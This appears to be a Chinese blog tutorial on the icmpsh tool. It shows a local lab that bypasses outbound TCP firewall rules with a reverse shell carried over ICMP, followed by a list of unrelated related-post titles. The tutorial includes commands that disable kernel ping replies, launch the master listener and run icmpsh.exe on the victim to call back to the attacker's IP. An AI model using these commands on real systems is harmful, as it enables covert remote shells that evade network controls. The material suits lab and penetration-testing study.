前言

很老的一个技术了,学习下。

ICMP协议工作方式简介

Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或是主机/路由不可达。ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头。由于MTU的限制,ICMP包的大小不能大于1500字节。

网络层中的ICMP包

Ping命令会向目标主机发送一个IMCP的echo请求。目标主机如果回复echo响应则表示主机存活

场景介绍

有时候,网络管理员使用各种各样的防火墙,对渗透测试是非常困难的,有种这样防火墙:一个允许已知的机器流量在端口和服务(入口过滤),并拥有强大的出口访问控制列表的设置。

当你已经拥有一台机器内部网络或者DMZ的一部分。他并非通过TCP来获得reverse shell的,所以不考虑绑定shell。

然而有关UDP,通常是一个DNS隧道或通过ICMP的渠道来获得一个reverse shell。而ICMP就是这个工具的重点。icmpsh是一个简单的 reverse ICMP shell,

它分别用C(icmpsh-m.c)、Perl(icmpsh-m.pl)、Python(icmpsh_m.py)使win32.slave兼容原始POSIX。

它比其他类似的开源工具的主要优点是,它并不需要管理员权限就能运行到目标机器上。该工具简洁,方便和便于携带(跨平台)。

此脚本主要是针对windows的,他是一个C/S架构:slave(客户端)它是用C写的只能在windows上运行,

master(服务器)是跨平台的,作者将C和Perl已经移植到Python上了。

详细使用方法请参考:

https://github.com/inquisb/icmpsh#usage

本地实验

hacked:192.168.41.128

hacker:192.168.41.136

首先在受害者机器上,我用防火墙设置了一条出站规则,协议类型是TCP,端口是6060

我们在kali上用python2.7起一个在6060端口运行的服务器

80端口起的是apache服务器

本机访问

然后用靶机访问指定端口测试,出站规则是否正常

不指定默认,访问80端口

这里只是验证一下,说明一下如果服务器设置了出口访问控制列表的话,可以通过icmp协议完成一个reverse icmp shell。

kali:

使用第一条命令来关闭ping回复,这样可以防止内核自己对ping包进行响应,单单的用攻击者

sysctl -w net.ipv4.icmp_echo_ignore_all= >/dev/null
python icmpsh_m.py 192.168.41.136 192.168.41.128
#python icmpsh_m.py 攻击者ip 受害者ip

这里提示错误,看了下py文件

然后kali没有pip,就很无语。参考https://www.cnblogs.com/foe0/p/12217108.html

下的贼慢,然后安装一个包又贼慢,然后新版kali没装vxxxy又去配置去了,这一连串。

windows:

icmpsh.exe -t 192.168.41.136 -d  -b  -s 

执行whoami

反向icmp_shell的更多相关文章

  1. nginx配置反向代理或跳转出现400问题处理记录

    午休完上班后,同事说测试站点访问接口出现400 Bad Request  Request Header Or Cookie Too Large提示,心想还好是测试服务器出现问题,影响不大,不过也赶紧上 ...

  2. 【大型网站技术实践】初级篇:借助Nginx搭建反向代理服务器

    一.反向代理:Web服务器的“经纪人” 1.1 反向代理初印象 反向代理(Reverse Proxy)方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从 ...

  3. 使用python自动生成docker nginx反向代理配置

    由于在测试环境上用docker部署了多个应用,而且他们的端口有的相同,有的又不相同,数量也比较多,在使用jenkins发版本的时候,不好配置,于是想要写一个脚本,能在docker 容器创建.停止的时候 ...

  4. Windos环境用Nginx配置反向代理和负载均衡

    Windos环境用Nginx配置反向代理和负载均衡 引言:在前后端分离架构下,难免会遇到跨域问题.目前的解决方案大致有JSONP,反向代理,CORS这三种方式.JSONP兼容性良好,最大的缺点是只支持 ...

  5. Nginx反向代理,负载均衡,redis session共享,keepalived高可用

    相关知识自行搜索,直接上干货... 使用的资源: nginx主服务器一台,nginx备服务器一台,使用keepalived进行宕机切换. tomcat服务器两台,由nginx进行反向代理和负载均衡,此 ...

  6. 使用Nginx反向代理 让IIS和Tomcat等多个站点一起飞

    使用Nginx 让IIS和Tomcat等多个站点一起飞 前言: 养成一个好习惯,解决一个什么问题之后就记下来,毕竟“好记性不如烂笔头”. 这样也能帮助更多的人 不是吗? 最近闲着没事儿瞎搞,自己在写一 ...

  7. 使用nginx反向代理,一个80端口下,配置多个微信项目

    我们要接入微信公众号平台开发,需要填写服务器配置,然后依据接口文档才能实现业务逻辑.但是微信公众号接口只支持80接口(80端口).我们因业务需求需要在一个公众号域名下面,发布两个需要微信授权的项目,怎 ...

  8. 腾讯云下安装 nodejs + 实现 Nginx 反向代理

    本文将介绍如何给腾讯云上的 Ubuntu Server 12.04 LTS 64位主机安装 node 及 nginx,并简单配置反向代理. 笔者在整个安装过程中遇到不少麻烦(不赘述),如果你希望少踩坑 ...

  9. 简易nginx TCP反向代理设置

    nginx从1.9.0开始支持TCP反向代理,之前只支持HTTP.这是我的系统示意图: 为何需要? 为什么需要反向代理?主要是: 负载均衡 方便管控 比如我现在要更新后端服务器,如果不用负载均衡的话, ...

随机推荐

  1. IDEA 快捷键大全及常用插件

    IDEA快捷键操作 颜色主题插件: **Material Theme UI Plugin ** 快捷键提醒: **Key Promoter X ** 查找Bug: QAPlig-FindBugs 热部 ...

  2. Building Applications with Force.com and VisualForce (DEV401) (二十):Visualforce Pages: Visualforce Componets (Tags)

    Dev401-021:Visualforce Pages: Visualforce Componets (Tags) Module Agenda1.Tag Basics2.Tag Bindings T ...

  3. 多线程设计模式——Read-Write Lock模式和Future模式分析

    目录 多线程程序评价标准 任何模式都有一个相同的"中心思想" Read-Write Lock 模式 RW-Lock模式特点 冲突总结 手搓RW Lock模式代码 类图 Data类 ...

  4. Hive学习笔记七

    目录 函数 一.系统自带函数 二.自定义函数 三.自定义UDF函数开发案例 压缩和存储 一.Hadoop源码编译支持Snappy压缩 1.资源准备 2.jar包安装 3.编译源码 二.Hadoop压缩 ...

  5. coding++:thymelef 模板报错 the entity name must immediately follow the '&' in the entity reference

    thymelef模板里面是不能实用&符号的 要用&转义符代替,官网也有文档说明可以用官方的通配符代替, 官方文档 http://www.thymeleaf.org/doc/tutori ...

  6. gold 波浪

  7. [noip模拟]改造二叉树<LIS>

    1.改造二叉树 [题目描述] 小Y在学树论时看到了有关二叉树的介绍:在计算机科学中,二叉树是每个结点最多有两个子结点的有序树.通常子结点被称作“左孩子”和“右孩子”.二叉树被用作二叉搜索树和二叉堆.随 ...

  8. 403 Invalid CORS request 跨域问题解决

    这里使用springMVC自带的CORS解决跨域问题 什么是跨域问题 1.请求地址与当前地址不相同 2.端口号不相同 技术有限端口号不同还未发现 3.二级域名不相同 出现这种问题如何解决有很多种方法, ...

  9. C++ 简单信息的表示和基本运算

    一.算术运算和自增自减运算 二.关系运算 三.逻辑运算 四.位运算 五.特殊运算符 六.混合运算中的类型转换

  10. 3-1. 基于epoll架构的视频采集端设计

    精通epoll架构 epoll:Linux中最优秀的多路复用机制! 与select .poll区别 1.select和poll没有太大区别,除了select有文件描述符限制(1024个).select ...